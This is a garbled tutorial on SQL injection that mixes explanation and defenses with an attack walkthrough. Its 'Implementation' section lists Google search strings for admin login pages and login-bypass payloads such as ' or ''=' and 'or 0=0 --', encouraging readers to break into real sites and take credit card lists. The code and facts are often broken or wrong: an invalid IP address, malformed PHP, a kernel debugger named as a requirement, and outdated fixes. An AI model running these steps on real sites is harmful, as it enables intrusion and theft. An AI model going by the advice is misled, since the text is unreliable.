SQL INJECTION DANGEROUS BUG

SQL injection is a exploit type in which the attacker adds SQL (Structured Query Language) code to a Web form input box or web address for gaining access to server database. SQL injection comes when the attacker can insert some SQL statement to the 'query' with the data input manipulation to application page.

SQL Injection can be used when the input box has no character filter such as quotes character and double minus character. Hakcer can insert a SQL commands into a parameter and a form.

SQL Injection dangerous

1) This technique allows someone can log into the system without having any account.

2) SQL injection also allows hacker to delete, or add the some database record. This cause miss server function.

To perform SQL Injection, just needs a browser, Personal computer with internet connection and a kernel mode debugger software such as softice

SQL Injection Syntax with PHP :

1) $ SQL = "select * from login where username = '$ username' and password = '$ password'", (from GET or POST variable)

2) Input the string with the password 'or''='

3) Then the SQL result = "select * from login where username = '$ username' and password = 'pass' or'='";, (with this selection, the results will always be TRUE)

4) then we can inject SQL Syntax (in this case OR) to SQL

SQL Injection Syntax :

1) SQL string syntax '-- after the username

2) Database Query initial:

Select * from user where name = 'bob' and password = 'robot'

Changed to:
select * from user where name = 'bob'--'and password ='xxx'

Example : SQL Injection Syntax :
SQL Injection via the URL, for example:
http://10.344.102.233/web1/index.php?option=product.php&status=1; update cost order set ordered where = 50 = 9;

To prevent SQL Injection :

1) Changing the script php

2) Using MySQL_escape_string

3) Filtering Characters' and modify the php.ini

1. To modify PHP script :
Example of the php script:
$ query = "select id, name, email, password, type, a block from the user."
"where email = '$ Email' and password = '$ password'";
$ result = mySQL_query ($ query, $ id_mySQL);
while ($ row = mysql_fetch_row ($ result))
(
$ Id = $ row [0];
$ name = $ row [1];
$ email = $ row [2];
$ password = $ row [3];
$ type = $ row [4];
$ block = $ row [5];
)
if (strcmp ($ block, 'yes') == 0)
(
echo " \ n ";
exit ();
)
else if (! empty ($ Id) & &! empty ($ name) & &! empty ($ email) & &! empty ($ password));

The script above allows someone to log in with SQL commands into a login form. When the hacker insert character 'or''=' into the email Account form then cause query as below:

select idname, email, password, type, a block from where the user email = "or" = "and password =" or "="

So, change the script as below:
$ query = "select id, name, email, password, type, a block from the user."
"where email = '$ Email'";
$ result = mySQL_query ($ query, $ id_mySQL);
while ($ row = mysql_fetch_row ($ result))
(
$ Id = $ row [0];
$ name = $ row [1];
$ email = $ row [2];
$ password = $ row [3];
$ type = $ row [4];
$ block = $ row [5];
)
if (strcmp ($ block, 'yes') == 0)
(
echo " \ n ";
exit ();
)
$ pass = md5 ($ password);
else if ((strcmp ($ Email, $ email) == 0) & & strcmp ($ pass, $ password) == 0));

2. Using MySQL_escape_string
Change the character string that contains ' tobe \ '. Example: injec'tion become injec\' tion. Example:

$ map = "SQL injec'tion";
$ filter = mySQL_escape_string ($ chart);
echo "Result filter: $ filter";


3. Filtering characters' and modify the php.ini

Modify the the php.ini variables with magic_quotes enable. This causes PHP turn the string and characters' into \ 'automatically

Script Example for filtering input:

function validatepassword (input)
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
validatepassword = true
for i = 1 to len (input)
c = mid (input, i, 1)
if (InStr (good_password_chars, c) = 0) then
validatepassword = false
exit function
end if
next
end function


SQL Injection Implementation

1) Go to Google or the other browsers :

2) Enter a keyword below :
"/ admin.asp"
"/ login.asp"
"/ logon.asp"
"/ adminlogin.asp"
"/ adminlogon.asp"
"/ admin_login.asp"
"/ admin_logon.asp"
"/ admin / admin.asp"
"/ admin / login.asp"
"/ admin / logon.asp"
(you can add your own suit)

3) Open up one of the links found by google, it's likely you will see a login page (user name and password).

4) Enter the following code:
User name: `or` a '=' a
Password: `or` a '=' a

5) If You are lucky, you will get the admin panel, where you can add or delete record as you want. And others, you can get a list of the many credit card.

6) If it does not work, try searching for the other links found by Google.

7) Many code variations that can bi used, among others:

User name: admin
Password: `or` a '=' a
or :
'Or 0 = 0 -; "or 0 = 0 -, or 0 = 0 -' or 0 = 0 #;
"Or 0 = 0 # 'or'x' = 'x;" or "x" = "x') or ( 'x' = 'x


Other method to prevent SQL INJECTION :
1) Limit the input box length

2) Filter input

3) Turn off or hide error messages

4) Turn off the standard facilities such as Stored Procedures, Extended Stored Procedures

5) Change "Startup and run SQL Server" using low privileged users in the SQL Server Security tab.

Source :

securiteam
greensql
ferruh.mavituna